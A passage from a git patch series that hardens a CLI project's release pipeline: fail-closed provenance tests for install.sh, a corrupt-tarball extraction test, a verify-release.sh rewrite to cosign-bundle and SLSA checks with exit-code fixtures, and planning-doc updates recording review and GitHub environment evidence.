byte-for-byte, and still runs. + expect(readFileSync(layout.liveBinary, 'utf-8')).toBe(fakeBinary('5.260713.1')); + const probe = Bun.spawnSync([layout.liveBinary, '--version'], { stdout: 'pipe' }); + expect(probe.stdout.toString().trim()).toBe('5.260713.1'); + // A rollback candidate was captured before the injected failure. + expect(readdirSync(join(layout.bin, '.previous'))).toContain('genie-5.260713.1'); + }); +}); + +// --------------------------------------------------------------------------- +// Mismatched provenance: an unverified download never reaches extraction. +// --------------------------------------------------------------------------- + +describe('install.sh download_and_verify refuses on failed provenance (F31a)', () => { + test('gh attestation unavailable + cosign verify failure fails closed with exit 4', () => { + const root = mkroot(); + const stub = join(root, 'stub'); + mkdirSync(stub, { recursive: true }); + // curl: honor `-o ` by writing placeholder bytes so download succeeds. + writeFileSync( + join(stub, 'curl'), + '#!/bin/sh\nout=""\nwhile [ $# -gt 0 ]; do case "$1" in -o) out="$2"; shift 2;; *) shift;; esac; done\n[ -n "$out" ] && printf fake > "$out"\nexit 0\n', + ); + // gh: attestation subsystem unavailable → `gh attestation verify --help` fails. + writeFileSync(join(stub, 'gh'), '#!/bin/sh\nexit 1\n'); + // cosign: verify-blob rejects (bad signature). + writeFileSync(join(stub, 'cosign'), '#!/bin/sh\nexit 1\n'); + for (const name of ['curl', 'gh', 'cosign']) chmodSync(join(stub, name), 0o755); + + const run = Bun.spawnSync( + [ + 'bash', + '-c', + 'source "$1"; download_and_verify "$2" "$3" "$4"', + 'bash', + INSTALL_SH, + '5.260714.1', + 'linux-x64-glibc', + 'https://example.invalid/base', + ], + { + env: { + PATH: `${stub}:${process.env.PATH ?? ''}`, + GENIE_INSTALL_SOURCE_ONLY: '1', + GENIE_HOME: join(root, 'home', '.genie'), + HOME: join(root, 'home'), + }, + stdout: 'pipe', + stderr: 'pipe', + }, + ); + expect(run.exitCode).toBe(4); + expect(run.stderr.toString()).toContain('verification failed'); + }); +}); diff --git a/src/genie-commands/__tests__/update.test.ts b/src/genie-commands/__tests__/update.test.ts index f41cc7da0..f48b343d4 100644 --- a/src/genie-commands/__tests__/update.test.ts +++ b/src/genie-commands/__tests__/update.test.ts @@ -55,6 +55,7 @@ import { decideVerify, downloadAndVerifyTarball, ensureCanonicalInstall, + extractTarball, fetchLatestManifest, finalizeAuxiliaryDelivery, formatVerifyBanner, @@ -1144,6 +1145,25 @@ describe('downloadAndVerifyTarball (G5)', () => { }); }); +// ============================================================================ +// G5 — Corrupt artifact (F31a destructive-failure fixture). A tarball that is +// not a valid gzip archive must make `extractTarball` throw so the update never +// reaches the atomic swap with a half-extracted payload. +// ============================================================================ + +describe('extractTarball (G5 — corrupt artifact)', () => { + test('throws on a corrupt (non-gzip) tarball', async () => { + const tmp = mkdtempSync(join(tmpdir(), 'genie-extract-corrupt-')); + try { + const tarball = join(tmp, 'genie-5.260714.1-linux-x64-glibc.tar.gz'); + writeFileSync(tarball, 'this is not a gzip archive'); + await expect(extractTarball(tarball, join(tmp, 'extract'))).rejects.toThrow(/tar -xzf/); + } finally { + rmSync(tmp, { recursive: true, force: true }); + } + }); +}); + // ============================================================================ // G5 — Atomic binary swap + rollback. // Real fs operations on tmp dir; no mocks. The swap needs same-fs primitives, From b3593c4bb3a8974972ff2f1e7a42d363738847c5 Mon Sep 17 00:00:00 2001 From: Felipe Date: Tue, 14 Jul 2026 13:28:30 -0300 Subject: [PATCH 06/20] fix(release): realign verify-release.sh to the real signed-asset scheme Close F31b. Releases ship per-platform `genie--.tar.gz` plus a cosign sigstore `*.tar.gz.bundle` and a per-tarball SLSA `*.tar.gz.intoto.jsonl` (sign-attest.yml / release-publish.yml). The verifier previously expected the non-existent `*.tgz` + detached `.sig`/`.cert` + a single `provenance.intoto.jsonl`, so it could not verify any real release. It now downloads `*.tar.gz{,.bundle,.intoto.jsonl}`, verifies each tarball with `cosign verify-blob --bundle` (identity + issuer pinned, matching install.sh) and `slsa-verifier verify-artifact` against the per-tarball provenance, and adds a best-effort GitHub-native `gh attestation verify` cross-check. The canonical signing-identity pin block (witnessed by check-fingerprint-pinning.sh) is preserved verbatim. scripts/verify-release.test.ts covers the exit-code contract (verified / cosign-fail / slsa-fail / missing-material / misuse). Co-Authored-By: Claude Fable 5 --- scripts/verify-release.sh | 139 ++++++++++++++++++++------------- scripts/verify-release.test.ts | 103 ++++++++++++++++++++++++ 2 files changed, 189 insertions(+), 53 deletions(-) create mode 100644 scripts/verify-release.test.ts diff --git a/scripts/verify-release.sh b/scripts/verify-release.sh index b70ce112f..fe18164d2 100755 --- a/scripts/verify-release.sh +++ b/scripts/verify-release.sh @@ -1,13 +1,22 @@ #!/usr/bin/env bash # Verify a signed @automagik/genie release tarball locally. # +# Releases ship, per platform (sign-attest.yml + release-publish.yml): +# genie--.tar.gz compiled tarball +# genie--.tar.gz.bundle cosign keyless sigstore bundle +# genie--.tar.gz.intoto.jsonl SLSA L3 provenance (DSSE) +# and a GitHub-native build-provenance attestation looked up by digest. +# # Usage: -# scripts/verify-release.sh # download from GitHub Release and verify -# scripts/verify-release.sh --local # verify an already-downloaded tarball (expects -# .sig, .cert, and -# provenance.intoto.jsonl alongside) +# scripts/verify-release.sh # download every tarball for the +# tag from the GitHub Release and +# verify each one +# scripts/verify-release.sh --local # verify an already-downloaded +# tarball (expects .bundle +# and .intoto.jsonl beside it) # -# Requires: cosign (>=2.2), slsa-verifier (>=2.6), gh, jq. +# Requires: cosign (>=2.2), slsa-verifier (>=2.6). gh is required for mode +# and, when present, adds a GitHub-native attestation cross-check. # # Exit codes mirror `genie sec verify-install` semantics (Group 2): # 0 = verified @@ -28,6 +37,7 @@ set -euo pipefail # certificate-oidc-issuer: https://token.actions.githubusercontent.com # provenance source-uri: github.com/automagik-dev/genie REPO="automagik-dev/genie" +OWNER="${REPO%%/*}" WORKFLOW_IDENTITY_REGEXP="^https://github.com/${REPO}/.github/workflows/sign-attest.yml@" OIDC_ISSUER="https://token.actions.githubusercontent.com" SOURCE_URI="github.com/${REPO}" @@ -41,17 +51,61 @@ need() { } usage() { - sed -n '2,14p' "$0" | sed 's/^# \{0,1\}//' + sed -n '2,20p' "$0" | sed 's/^# \{0,1\}//' exit 64 } +# Verify a single tarball against its sidecar cosign bundle + SLSA provenance, +# plus a best-effort GitHub-native attestation cross-check when gh is available. +verify_one() { + local tarball="$1" + local bundle="${tarball}.bundle" + local provenance="${tarball}.intoto.jsonl" + + for required in "${bundle}" "${provenance}"; do + if [ ! -s "${required}" ]; then + echo "error: missing signature material: ${required} — exit 5" >&2 + exit 5 + fi + done + + echo "-> cosign verify-blob --bundle (certificate identity + OIDC issuer pinned)" + if ! cosign verify-blob \ + --bundle "${bundle}" \ + --certificate-identity-regexp "${WORKFLOW_IDENTITY_REGEXP}" \ + --certificate-oidc-issuer "${OIDC_ISSUER}" \ + "${tarball}"; then + echo "error: cosign signature verification failed — exit 2" >&2 + exit 2 + fi + + echo "-> slsa-verifier verify-artifact" + if ! slsa-verifier verify-artifact "${tarball}" \ + --provenance-path "${provenance}" \ + --source-uri "${SOURCE_URI}"; then + echo "error: SLSA provenance verification failed — exit 4" >&2 + exit 4 + fi + + # GitHub-native attestation is an additional cross-check, not a fourth trust + # anchor: cosign + SLSA above already prove the artifact. Only enforced when + # gh is installed and its attestation subsystem is reachable. + if command -v gh >/dev/null 2>&1 && gh attestation verify --help >/dev/null 2>&1; then + echo "-> gh attestation verify (GitHub-native cross-check)" + if ! gh attestation verify "${tarball}" --owner "${OWNER}" >/dev/null 2>&1; then + echo "warning: gh attestation verify could not confirm ${tarball##*/} (cosign + SLSA already passed)" >&2 + fi + fi + + echo "OK: $(basename "${tarball}") is cosign-signed AND SLSA-attested by ${REPO}" +} + main() { need cosign need slsa-verifier - local tarball="" - local workdir="" - local cleanup="false" + local workdir="" cleanup="false" + local -a tarballs=() case "${1:-}" in ""|-h|--help) @@ -59,67 +113,46 @@ main() { ;; --local) [ -n "${2:-}" ] || usage - tarball="$(readlink -f "$2")" - workdir="$(dirname "${tarball}")" + local one + one="$(readlink -f "$2")" + [ -f "${one}" ] || { echo "error: no tarball found: ${2} — exit 5" >&2; exit 5; } + tarballs=("${one}") ;; *) need gh local tag="$1" workdir="$(mktemp -d -t genie-verify-XXXXXX)" cleanup="true" + trap '[ "${cleanup}" = "true" ] && rm -rf "${workdir}"' EXIT echo "-> Downloading release ${tag} to ${workdir}" ( cd "${workdir}" gh release download "${tag}" \ --repo "${REPO}" \ - --pattern '*.tgz' \ - --pattern '*.sig' \ - --pattern '*.cert' \ - --pattern 'provenance.intoto.jsonl' \ + --pattern '*.tar.gz' \ + --pattern '*.tar.gz.bundle' \ + --pattern '*.tar.gz.intoto.jsonl' \ || { echo "error: release assets missing — exit 5" >&2; exit 5; } ) - tarball="$(ls "${workdir}"/*.tgz 2>/dev/null | head -1)" + shopt -s nullglob + tarballs=("${workdir}"/*.tar.gz) + shopt -u nullglob + # Sidecars share the .tar.gz stem, so exclude the .bundle/.intoto.jsonl the + # glob would otherwise sweep in (they do not end in .tar.gz, so the glob is + # already precise — this guard documents intent). + if [ "${#tarballs[@]}" -eq 0 ]; then + echo "error: no *.tar.gz assets downloaded for ${tag} — exit 5" >&2 + exit 5 + fi ;; esac - if [ -z "${tarball}" ] || [ ! -f "${tarball}" ]; then - echo "error: no tarball found — exit 5" >&2 - exit 5 - fi - - trap '[ "${cleanup}" = "true" ] && rm -rf "${workdir}"' EXIT - - local sig="${tarball}.sig" - local cert="${tarball}.cert" - local provenance="${workdir}/provenance.intoto.jsonl" - - for required in "${sig}" "${cert}" "${provenance}"; do - if [ ! -s "${required}" ]; then - echo "error: missing signature material: ${required} — exit 5" >&2 - exit 5 - fi + local verified=0 + for tarball in "${tarballs[@]}"; do + verify_one "${tarball}" + verified=$((verified + 1)) done - - echo "-> cosign verify-blob (certificate identity + OIDC issuer pinned)" - if ! cosign verify-blob \ - --certificate-identity-regexp "${WORKFLOW_IDENTITY_REGEXP}" \ - --certificate-oidc-issuer "${OIDC_ISSUER}" \ - --signature "${sig}" \ - --certificate "${cert}" \ - "${tarball}"; then - echo "error: cosign signature verification failed — exit 2" >&2 - exit 2 - fi - - echo "-> slsa-verifier verify-artifact" - if ! slsa-verifier verify-artifact "${tarball}" \ - --provenance-path "${provenance}" \ - --source-uri "${SOURCE_URI}"; then - echo "error: SLSA provenance verification failed — exit 4" >&2 - exit 4 - fi - - echo "OK: $(basename "${tarball}") is cosign-signed AND SLSA-attested by ${REPO}" + echo "OK: verified ${verified} tarball(s) for ${REPO}" exit 0 } diff --git a/scripts/verify-release.test.ts b/scripts/verify-release.test.ts new file mode 100644 index 000000000..03da41206 --- /dev/null +++ b/scripts/verify-release.test.ts @@ -0,0 +1,103 @@ +import { afterEach, describe, expect, test } from 'bun:test'; +import { chmodSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; + +// Fixtures for scripts/verify-release.sh realigned to the real release asset +// scheme (wish stable-release-security-gate, F31b): per-tarball +// *.tar.gz + *.tar.gz.bundle (cosign) + *.tar.gz.intoto.jsonl (SLSA), verified +// with `cosign verify-blob --bundle` and `slsa-verifier verify-artifact`. cosign, +// slsa-verifier, and gh are stubbed on PATH so the verifier's control flow + +// exit-code contract is exercised without a real signed release. +const SCRIPT = join(import.meta.dir, 'verify-release.sh'); +const roots: string[] = []; + +afterEach(() => { + for (const root of roots.splice(0)) rmSync(root, { recursive: true, force: true }); +}); + +interface Stubs { + cosignExit?: number; + slsaExit?: number; +} + +/** Lay down a stub bin dir (cosign, slsa-verifier, gh) plus a tarball with the + * requested sidecars, and return { tarball, path }. gh is stubbed to report its + * attestation subsystem unavailable so the best-effort cross-check is skipped + * (no network). */ +function fixture(stubs: Stubs & { bundle?: boolean; intoto?: boolean }) { + const root = mkdtempSync(join(tmpdir(), 'genie-verify-release-')); + roots.push(root); + const stub = join(root, 'stub'); + mkdirSync(stub, { recursive: true }); + writeFileSync(join(stub, 'cosign'), `#!/bin/sh\nexit ${stubs.cosignExit ?? 0}\n`); + writeFileSync(join(stub, 'slsa-verifier'), `#!/bin/sh\nexit ${stubs.slsaExit ?? 0}\n`); + writeFileSync(join(stub, 'gh'), '#!/bin/sh\nexit 1\n'); + for (const name of ['cosign', 'slsa-verifier', 'gh']) chmodSync(join(stub, name), 0o755); + + const assets = join(root, 'assets'); + mkdirSync(assets, { recursive: true }); + const tarball = join(assets, 'genie-5.260714.1-linux-x64-glibc.tar.gz'); + writeFileSync(tarball, 'tarball-bytes'); + if (stubs.bundle !== false) writeFileSync(`${tarball}.bundle`, 'cosign-bundle'); + if (stubs.intoto !== false) writeFileSync(`${tarball}.intoto.jsonl`, 'slsa-provenance'); + return { root, stub, tarball }; +} + +function verifyLocal(stub: string, tarball: string) { + return Bun.spawnSync(['bash', SCRIPT, '--local', tarball], { + env: { PATH: `${stub}:${process.env.PATH ?? ''}` }, + stdout: 'pipe', + stderr: 'pipe', + }); +} + +describe('verify-release.sh (F31b — real asset scheme)', () => { + test('verifies a tarball with a cosign bundle + per-tarball SLSA provenance', () => { + const { stub, tarball } = fixture({}); + const run = verifyLocal(stub, tarball); + expect(run.exitCode).toBe(0); + const out = run.stdout.toString(); + expect(out).toContain('cosign verify-blob --bundle'); + expect(out).toContain('slsa-verifier verify-artifact'); + expect(out).toContain('cosign-signed AND SLSA-attested'); + }); + + test('a failed cosign signature check exits 2', () => { + const { stub, tarball } = fixture({ cosignExit: 1 }); + const run = verifyLocal(stub, tarball); + expect(run.exitCode).toBe(2); + expect(run.stderr.toString()).toContain('cosign signature verification failed'); + }); + + test('a failed SLSA provenance check exits 4', () => { + const { stub, tarball } = fixture({ slsaExit: 1 }); + const run = verifyLocal(stub, tarball); + expect(run.exitCode).toBe(4); + expect(run.stderr.toString()).toContain('SLSA provenance verification failed'); + }); + + test('a missing cosign bundle exits 5', () => { + const { stub, tarball } = fixture({ bundle: false }); + const run = verifyLocal(stub, tarball); + expect(run.exitCode).toBe(5); + expect(run.stderr.toString()).toContain('.bundle'); + }); + + test('a missing per-tarball SLSA provenance exits 5', () => { + const { stub, tarball } = fixture({ intoto: false }); + const run = verifyLocal(stub, tarball); + expect(run.exitCode).toBe(5); + expect(run.stderr.toString()).toContain('.intoto.jsonl'); + }); + + test('no arguments prints usage and exits 64', () => { + const { stub } = fixture({}); + const run = Bun.spawnSync(['bash', SCRIPT], { + env: { PATH: `${stub}:${process.env.PATH ?? ''}` }, + stdout: 'pipe', + stderr: 'pipe', + }); + expect(run.exitCode).toBe(64); + }); +}); From d3a42fab633b8805622b2e61853a253e08967462 Mon Sep 17 00:00:00 2001 From: Felipe Date: Tue, 14 Jul 2026 13:43:03 -0300 Subject: [PATCH 07/20] docs(wish): stable-release-security-gate plan+execution SHIP evidence, G2 settings evidence MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plan review FIX-FIRST→SHIP and adversarial execution review SHIP recorded in WISH.md; Group 2 external state (production environment with independent required reviewers + prevent-self-review + no admin bypass, v-tags-immutable ruleset) captured as qa/github-settings-evidence-20260714.json; INDEX entry moved to Poured. Co-Authored-By: Claude Fable 5 --- .genie/INDEX.md | 1 + .../stable-release-security-gate/DRAFT.md | 36 +++++ .../stable-release-security-gate/WISH.md | 75 +++++++--- .../qa/github-settings-evidence-20260714.json | 132 ++++++++++++++++++ 4 files changed, 226 insertions(+), 18 deletions(-) create mode 100644 .genie/brainstorms/stable-release-security-gate/DRAFT.md create mode 100644 .genie/wishes/stable-release-security-gate/qa/github-settings-evidence-20260714.json diff --git a/.genie/INDEX.md b/.genie/INDEX.md index f81363924..554e5bd84 100644 --- a/.genie/INDEX.md +++ b/.genie/INDEX.md @@ -23,6 +23,7 @@ - [WISH: warp-integration](wishes/warp-integration/WISH.md) — **DONE** (all 4 groups SHIP-reviewed 2026-07-02; pane-render checklist awaiting Felipe): genie init, Warp launch-config emitter, genie launch, /work multi-session opt-in ## Poured +- [WISH: stable-release-security-gate](wishes/stable-release-security-gate/WISH.md) · [brainstorm](brainstorms/stable-release-security-gate/DRAFT.md) — **APPROVED 2026-07-14, plan review SHIP (1 FIX-FIRST loop)**: the stable-channel unblock for inherited Ultra findings F16 (CRITICAL arbitrary-ref stable publish, all 4 dispatch entry points) / F17 (unbound run_id/version inputs) / F18 (unpinned actions, unfrozen installs, broad permissions) / F31 (non-transactional swap; verify-release.sh can't verify real releases). G1 repo-code hardening dispatched to engineer on `wish/stable-release-security-gate`; G2 GitHub Environment (`production` + prevent-self-review) / `v*` ruleset + exported evidence is **Felipe-owned**, depends-on G1 - [hermes-homogeneous-integration](brainstorms/hermes-homogeneous-integration/DESIGN.md) · [WISH](wishes/hermes-homogeneous-integration/WISH.md) — **SHIPPED** (2026-07-13): PR [#2565](https://github.com/automagik-dev/genie/pull/2565) merged to dev `40512016`, released `v5.260713.2` (dev channel); all 6 groups SHIP-reviewed (G2 one fix loop), final gate SHIP; live isit dogfood PASS ([qa/](wishes/hermes-homogeneous-integration/qa/live-dogfood-20260713.md)) — 23 product skills first-class in Hermes, `mcp_servers.genie` + backups in the live profile, 4/4 doctor legs green. **2 dogfood defects filed as follow-up tasks:** D1 duplicate nested `external_dirs` key on merge into block `skills:` (PyYAML last-wins keeps it working); D2 `[auto-version]` skips the plugin.yaml YAML sync (shipped plugin reads 5.260712.2 vs genie 5.260713.2) — both fixed in PR [#2566](https://github.com/automagik-dev/genie/pull/2566) (merged to dev). Also open: khaw-bridge re-home to KHAW plugin; 2 codex-manifest failures pre-existing on main - [WISH: PR #2545 Ultra release-gate remediation](wishes/pr-2545-ultra-release-gate/WISH.md) — **IN PROGRESS as a follow-up targeting `dev`** (2026-07-11): PR #2545 itself merged via `6f682e2b` from promoted source `10ceb2c0`; the follow-up owns the three-hook reduction, physical 23-skill Codex payload, user-asset preservation, install/update/runtime recovery, documentation, and final evidence. PR [#2556](https://github.com/automagik-dev/genie/pull/2556) merged into `dev` at `a7c3c7ce` and reached `main` via #2557. Successor work on `fix/pr2545-ultra-gate` closed both HIGH follow-ups (F42 `09b368a5`, F43 `8e147d87`, independent SHIP reviews) and ran the seven-lane replay at `8e147d87` (12 verified findings → fixed in loop 1 or dispositioned as F44–F52; the fixes were covered by a targeted SHIP re-review, not a full re-replay); aggregate, merge simulation, and live baseline are green at `e3abf2b5`. Pending: successor-PR CI + human approval, and disabling the external metrics-updater routine (F44) that broke dev CI. Stable promotion remains BLOCKED by F16–F18/F31 in [stable-release-security-gate](wishes/stable-release-security-gate/WISH.md). - [agent-sync](wishes/agent-sync/DESIGN.md) · [WISH](wishes/agent-sync/WISH.md) · [COORDINATION](wishes/agent-sync/COORDINATION.md) — **MERGED #2541; original implementation superseded by current safety contract** — explicit `genie install`/`genie update` converge detected clients; Codex fallback skills use `~/.agents/skills` (the hidden `.curated` lane is retired), same-name user assets are never adopted, and no lifecycle hook triggers synchronization. Historical execution commits remain in the wish; current proof and the one-time operator-run second-hop caveat live in the [PR #2545 remediation ledger](wishes/pr-2545-ultra-release-gate/REVIEW-DISPOSITION.md). diff --git a/.genie/brainstorms/stable-release-security-gate/DRAFT.md b/.genie/brainstorms/stable-release-security-gate/DRAFT.md new file mode 100644 index 000000000..a84883cbf --- /dev/null +++ b/.genie/brainstorms/stable-release-security-gate/DRAFT.md @@ -0,0 +1,36 @@ +# Brainstorm: stable-release-security-gate (disposition review) + +**Date:** 2026-07-14 +**Mode:** retroactive — a WISH.md already exists at `.genie/wishes/stable-release-security-gate/WISH.md` (DRAFT, authored 2026-07-10 by Codex PM). This brainstorm exists because the human operator found the wish and asked "what is this?"; goal is comprehension + disposition (refine / approve / split / discard), not greenfield design. + +## Origin (verified against repo evidence) + +- PR #2545 got a multi-agent Ultra supply-chain review. Most findings were remediated in `pr-2545-ultra-release-gate` (IN_PROGRESS). +- Four findings were **inherited pipeline risks, not caused by the PR**, and were spun out here instead of blocking the PR: + - **F16 / SEC1 — CRITICAL:** stable build/sign/publish reachable from an arbitrary ref via `workflow_dispatch` (confirmed: `release.yml:24` has operator dispatch + inputs). + - **F17 / SEC2 — HIGH:** manual version/run-id inputs not validated or bound to the expected repo/workflow/conclusion/ref/SHA. + - **F18 / SEC3 — HIGH:** third-party Actions not SHA-pinned, installs not frozen, permissions/secrets not least-privilege. + - **F31 / QA6 — HIGH:** binary promotion/rollback not transactional; consumer verification not matched to current artifacts. +- `REVIEW-DISPOSITION.md` (pr-2545 wish) marks all four rows "Blocking": **stable promotion is BLOCKED until this wish ships.** Dev-channel releases still flow. + +## Why it exists as a separate wish + +So a SHIP verdict on the PR-scope remediation can't be misread as authorization to publish stable artifacts. This wish IS the stable-channel gate. + +## Known constraints + +- Requires external GitHub state (Environment with independent required reviewer, rulesets) — human-owned, code can't prove it; wish demands exported/API evidence. +- Complexity rated 8; single sequential group; security engineer + independent reviewer + human gate. + +## WRS + +WRS: ██████████ 100/100 + Problem ✅ | Scope ✅ | Decisions ✅ | Risks ✅ | Criteria ✅ + +## Disposition (RESOLVED 2026-07-14) + +Operator chose **split & execute**: WISH.md restructured into +- **Group 1** — repo-code hardening (F16 ref binding, F17 input/provenance validation, F18 pinning/permissions, F31 transactional swap, `environment: production` wiring) — agent-executable now, complexity 7. +- **Group 2** — human-owned GitHub Environment/ruleset configuration + exported evidence (depends-on Group 1). + +No separate DESIGN.md: the wish pre-exists this brainstorm (authored from the Ultra review findings); the wish itself is the design artifact and goes through plan review directly. diff --git a/.genie/wishes/stable-release-security-gate/WISH.md b/.genie/wishes/stable-release-security-gate/WISH.md index 7bd6171e7..325b1fac1 100644 --- a/.genie/wishes/stable-release-security-gate/WISH.md +++ b/.genie/wishes/stable-release-security-gate/WISH.md @@ -2,7 +2,7 @@ | Field | Value | |-------|-------| -| **Status** | DRAFT | +| **Status** | IN_PROGRESS | | **Slug** | `stable-release-security-gate` | | **Date** | 2026-07-10 | | **Author** | Codex PM, from PR #2545 Ultra supply-chain review | @@ -43,49 +43,76 @@ Close inherited stable-publication risks that are unchanged by PR #2545 but stil ## Success Criteria -- [ ] Stable artifacts can originate only from the approved protected ref/tag SHA after required CI. -- [ ] Manual recovery inputs are grammar-validated and bound to the expected repository, workflow, conclusion, ref, and SHA. -- [ ] External Actions are SHA-pinned; installs are frozen; permissions and secrets are least-privilege. -- [ ] Production Environment approval requires an independent maintainer and is evidenced without exposing secrets. -- [ ] Swap/promotion rollback and current artifact verification pass destructive-failure fixtures. +- [x] Stable artifacts can originate only from the approved protected ref/tag SHA after required CI. *(G1 SHIP 2026-07-14; guard jobs load-bearing at all 4 entry points)* +- [x] Manual recovery inputs are grammar-validated and bound to the expected repository, workflow, conclusion, ref, and SHA. *(`scripts/release-guard.sh` + 18 fixtures; MEDIUM follow-up: head_branch-vs-null API shape)* +- [x] External Actions are SHA-pinned; installs are frozen; permissions and secrets are least-privilege. *(5 pins verified upstream; documented SLSA-generator tag-pin exception)* +- [x] Production Environment approval requires an independent maintainer and is evidenced without exposing secrets. *(2026-07-14: `qa/github-settings-evidence-20260714.json` — end-to-end gate demo still pending Group 1's `environment: production` wiring)* +- [x] Swap/promotion rollback and current artifact verification pass destructive-failure fixtures. *(7 fixtures; verify-release.sh realigned to real asset scheme)* +- [x] Dev/homolog channel releases continue to publish without manual approval throughout and after this work. *(dev dispatch traced through all guards; confirm live on first post-merge dev release)* ## Execution Strategy -### Wave 1 (sequential) +Split 2026-07-14 (operator decision, brainstorm disposition): code hardening is agent-executable now; external GitHub settings are human-owned and gated on Felipe. + +### Wave 1 | Group | Agent | Complexity | Model | Description | |-------|-------|------------|-------|-------------| -| 1 | security engineer + independent reviewer | 8 — privileged CI, provenance, external settings | inherit active Ultra model + human gate | Design and implement protected release chain | +| 1 | security engineer + independent reviewer | 7 — privileged CI workflows, provenance, transactional swap | engineer-complex + reviewer | Repo-code protected release chain (F16–F18, F31 code side) | +| 2 | Felipe (human) + evidence capture | 2 — external repo settings + exported proof | human gate | GitHub Environment/ruleset configuration and evidence | ## Execution Groups -### Group 1: Protected stable publication +### Group 1: Protected stable publication — repository code -**Goal:** Bind build, signing, publication, and verification to an independently approved release identity. +**Goal:** In repository code alone, make it impossible for an arbitrary ref or unvalidated input to reach stable build/sign/publish, and make promotion/rollback transactional. **Deliverables:** -1. Harden workflow inputs, refs, provenance, actions, permissions, secrets, and environments. -2. Make binary promotion/rollback and consumer verification transactional. -3. Capture repository-ruleset and Environment reviewer evidence. +1. **F16:** Every standalone `workflow_dispatch` entry point that can reach stable artifacts is guarded — all four: `release.yml`, `build-tarballs.yml`, `sign-attest.yml`, and `release-publish.yml` (whose standalone dispatch currently defaults `channel` to `stable` and takes an operator `run_id`, bypassing the orchestrator entirely). Stable requires a protected `v*` tag SHA that passed required CI; dispatch recovery is bound to that same identity, never a free-form ref. +2. **F17:** Extract the ref/tag guard and the run-id provenance validation (expected repository, workflow file, run conclusion, ref, head SHA, plus version-grammar check) into testable shell or TS helpers invoked by the workflows, with unit fixtures — inline `${{ }}` expressions alone are not acceptable since CI has no workflow simulator. +3. **F18:** SHA-pin all third-party Actions and reusable workflows (including `ggshield-action` in `ci.yml` and the tag-pinned SLSA reusable in `sign-attest.yml`); freeze the still-unfrozen installs in `version.yml` and `ci.yml`; add the missing least-privilege `permissions:` blocks (`ci.yml` has none); replace blanket `secrets: inherit` in `release.yml` with explicitly scoped secrets. +4. **F31:** Transactional binary promotion/rollback in `install.sh` / `src/genie-commands/update.ts`, with destructive-failure fixtures (kill mid-swap, corrupt artifact, mismatched provenance). **Constraint:** must preserve the durable `.steal` lifecycle-lock recovery protocol in `install.sh` and its shell/TS parity (F42/F45–F47/F50 hardening) — add a regression check, do not rework that contract. +5. **F31:** Realign `scripts/verify-release.sh` to the real asset scheme (`*.tar.gz`, `.bundle`, per-tarball `*.intoto.jsonl`, bundle-based cosign verification) with a fixture — it currently cannot verify any real release. +6. `environment: production` scoped to the **stable channel only** (channel-conditional expression or a split stable-publish job) so Group 2's required-reviewer gate attaches to stable without touching dev/homolog flow. **Acceptance Criteria:** -- [ ] All success criteria are independently reviewed with a dry-run/non-production release fixture. +- [x] A non-tag ref dispatched at any of the four stable-capable entry points fails closed (guard jobs load-bearing via `needs:` at all four; 18 helper fixtures incl. negatives). +- [x] A mismatched/failed upstream run cannot be signed or published (`release-guard.sh` binds repo/workflow/status/conclusion/ref/SHA/version-grammar; injection fixtures pass). +- [x] A dev-channel release publishes end-to-end **without** environment approval (dev dispatch traced through every guard; `environment: ${{ inputs.channel == 'stable' && 'production' || '' }}` confirmed as the documented no-environment idiom). +- [x] `install.sh` steal-guard protocol unchanged (reviewer independently recomputed digest `c6d5c4bd…` on both trees; pinned in `install-swap.test.ts`); 7 destructive-failure fixtures pass. +- [x] `bun run check` green (typecheck 0, biome 0, tests 0 fail across chunks; knip exit-1 is the documented pre-existing carve-out with zero new findings vs dev). +- [x] Independent review of the group returns SHIP (execution review 2026-07-14, reviewer aca929030341671c0). **Validation:** ```bash bun run check bun test -# Plus protected-environment and provenance evidence on an approved test tag. +# Dry-run/non-production release fixture for the workflow-level guards. ``` **depends-on:** none +### Group 2: Protected environment + ruleset evidence (human-owned) + +**Goal:** Prove the documented second-maintainer approval with external GitHub state. + +**Deliverables:** +1. GitHub Environment `production` with an independent required reviewer **and "Prevent self-review" enabled** — without that toggle, a required reviewer can approve their own triggered deployment, which would void the independence claim. +2. Ruleset/branch-tag protection for `v*` stable tags. +3. Exported evidence (GitHub API JSON or settings export, no secrets) committed under `qa/` in this wish — must capture the reviewer set **and** the prevent-self-review setting explicitly. + +**Acceptance Criteria:** +- [x] Environment approval demonstrably requires an independent maintainer: evidence shows the reviewer set and `prevent_self_review: true`, without exposing secrets. *(reviewers namastex888 + vasconceloscezar, `prevent_self_review: true`, `can_admins_bypass: false`)* +- [x] Evidence file present in `qa/` and referenced from Review Results. *(`qa/github-settings-evidence-20260714.json`)* + +**depends-on:** Group 1 (the `environment: production` reference must exist in the workflow before the gate is observable end-to-end) + --- ## QA Criteria -- [ ] An arbitrary branch/ref cannot reach stable publication. -- [ ] A mismatched/failed upstream run cannot be signed or published. +- [x] An arbitrary branch/ref cannot reach stable publication. *(G1 SHIP: fails closed at all 4 dispatch entry points; release-publish standalone default flipped stable→dev)* +- [x] A mismatched/failed upstream run cannot be signed or published. *(provenance binding + negative fixtures)* - [ ] A second maintainer must approve the protected production environment. --- @@ -101,7 +128,19 @@ bun test ## Review Results -Not executed. Created as the explicit blocking disposition for inherited findings F16–F18 and F31 from the PR #2545 Ultra review. +**Group 1 execution review 2026-07-14 (reviewer aca929030341671c0, adversarial, independent of the engineer): SHIP.** Branch `wish/stable-release-security-gate`, commits `d4b4b31b` + `7bd90757` + `b3593c4b` (13 files, +1128/−80). All 7 verification legs PASS with the reviewer re-deriving evidence itself (guard `needs:` wiring at all 4 entry points, provenance-binding negatives, dev-flow trace, `.steal` digest recomputation, fingerprint-witness contract, upstream SHA-pin resolution, gates re-run). Three advisory non-blocking follow-ups recorded: +- **MEDIUM:** break-glass recovery binds `head_branch == v`, but the runs API may return `head_branch: null` for tag events — fails closed (no security hole) but the operator recovery path is unproven against real API shape; prefer `head_sha` binding or an integration probe. +- **LOW:** rollback restores only the binary, not sidecars (VERSION/plugins) — practically unreachable, documented in-code. +- **LOW:** first-party `actions/*` remain tag-pinned (wish scoped pinning to third-party). + +**Group 2 external state configured 2026-07-14 (operator-directed, executed via `gh api` as namastex888; approver set named by the operator):** GitHub Environment `production` — required reviewers `namastex888` + `vasconceloscezar`, `prevent_self_review: true`, `can_admins_bypass: false`, deployment refs restricted to `v*` tags; repository ruleset `v-tags-immutable` (id 18938286, active, no bypass actors) blocks 